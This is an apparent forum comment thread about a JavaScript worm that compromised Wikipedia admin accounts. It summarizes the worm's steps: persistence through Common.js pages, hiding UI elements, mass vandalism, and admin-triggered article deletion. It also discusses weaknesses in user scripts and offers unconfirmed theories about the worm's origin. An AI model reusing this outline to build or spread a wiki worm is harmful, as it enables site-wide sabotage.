Wikipedia was in read-only mode following mass admin account compromise

greyface-

Additional context: https://wikipediocracy.com/forum/viewtopic.php?f=8&t=14555 https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(techni... https://old.reddit.com/r/wikipedia/comments/1rllcdg/megathre... Apparent JS worm payload: https://ru.wikipedia.org/w/index.php?title=%D0%A3%D1%87%D0%B...

tantalor

"Закрываем проект" is Russian for "Closing the project"

varun_ch

Woah this looks like an old school XSS worm https://meta.wikimedia.org/wiki/Special:RecentChanges?hidebo... I’ve always thought the fact that MediaWiki sometimes lets editors embed JavaScript could be dangerous.

tantalor

Nice to see jQuery still getting used :)

256_

Here before someone says that it's because MediaWiki is written in PHP.

nhubbard

Wow. This worm is fascinating. It seems to do the following: - Inject itself into the MediaWiki:Common.js page to persist globally, and into the User:Common.js page to do the same as a fallback - Uses jQuery to hide UI elements that would reveal the infection - Vandalizes 20 random articles with a 5000px wide image and another XSS script from basemetrika.ru - If an admin is infected, it will use the Special:Nuke page to delete 3 random articles from the global namespace, AND use the Special:Random with action=delete to delete another 20 random articles EDIT! The Special:Nuke is really weird. It gets a default list of articles to nuke from the search field, which could be any group of articles, and rubber-stamps nuking them. It does this three times in a row.

Uhhrrr

How do they know? Has this been published in a Reliable Source?

devmor

In the early 2010’s I worked for a company whose primary income was subscriptions to site protection services - one of which included cleaning up malware-infected Wordpress installations. I worked on the team that did this job. This exact type of database-stored executable javascript was one of the most annoying types of infections to clean up.

0xWTF

Looking forward to the postmortem...

Wikipedianon

This was only a matter of time. The Wikipedia community takes a cavalier attitude towards security. Any user with "interface administrator" status can change global JavaScript or CSS for all users on a given Wiki with no review. They added mandatory 2FA only a few years ago... Prior to this, any admin had that ability until it was taken away due to English Wikipedia admins reverting Wikimedia changes to site presentation (Mediaviewer). But that's not all. Most "power users" and admins install "user scripts", which are unsandboxed JavaScript/CSS gadgets that can completely change the operation of the site. Those user scripts are often maintained by long abandoned user accounts with no 2 factor authentication. Based on the fact user scripts are globally disabled now I'm guessing this was a vector. The Wikimedia foundation knows this is a security nightmare. I've certainly complained about this when I was an editor. But most editors that use the website are not professional developers and view attempts to lock down scripting as a power grab by the Wikimedia Foundation.

skrtskrt

Long past time to eliminate JavaScript from existence

nixass

I can edit it

j45

It's reassuring to know Wikipedia has these kinds of security mechanisms in place.

j45

Too much app logic in the client side (Javascript) has always been an attack vector. The more that can reasonably be server side, the more that can't be seen.

lifeisstillgood

I completely understand marking the software that controls drinking water as critical infrastructure- but at some point a state based cyber attack that just wipes wikipedia off the net is deeply damaging to our modern society’s ability to agree on common facts … Just now thought “if Wikipedia vanished what would it mean … and it’s not on the level of safe drinking water, but it is a level.

garbagecreator

Another reason to make the default disabling JS on all websites, and the website should offer a service without JS, especially those implemented in obsolete garbage tech. If it's not an XSS from a famous website, it will be an exploit from a sketchy website.

wikiperson26

A theory on phab: "Some investigation was made in Russian Wikipedia discord chat, maybe it will be useful. 1. In 2023, vandal attacks was made against two Russian-language alternative wiki projects, Wikireality and Cyclopedia. Here https://wikireality.ru/wiki/РАОрг is an article about organisators of these attacks. 2. In 2024, ruwiki user Ololoshka562 created a page https://ru.wikipedia.org/wiki/user:Ololoshka562/test.js containing script used in these attacks. It was inactive next 1.5 years. 3. Today, sbassett massively loaded other users' scripts into his global.js on meta, maybe for testing global API limits: https://meta.wikimedia.org/wiki/Special:Contributions/SBasse... . In one edit, he loaded Ololoshka's script: https://meta.wikimedia.org/w/index.php?diff=prev&oldid=30167... and run it."

pixl97

>Cleaning this up Find the first instance and reset to the backup before then. An hour, a day, a week? Doesn't matter that much in this case.

i_think_so

> Hitting MediaWiki:Common.js is the absolute nightmare scenario for MediaWiki deployments because that script gets executed by literally every single visitor ...except for us security wonks who have js turned off by default, don't enable it without good reason, disable it ASAP, and take a dim view of websites that require it. Not too many years ago this behavior was the domain of Luddites and schizophrenics. Today it has become a useful tool in the toolbox of reasonable self-defense for anybody with UID 0. Perhaps the WMF should re-evaluate just how specialsnowflake they think their UI is and see if, maybe just maybe, they can get by without js. Just a thought.

Kiboneu

GOD am I thankful to my old self for disabling js by default. And sticking with it. edit: lol downvoted with no counterpoint, is it hitting a nerve?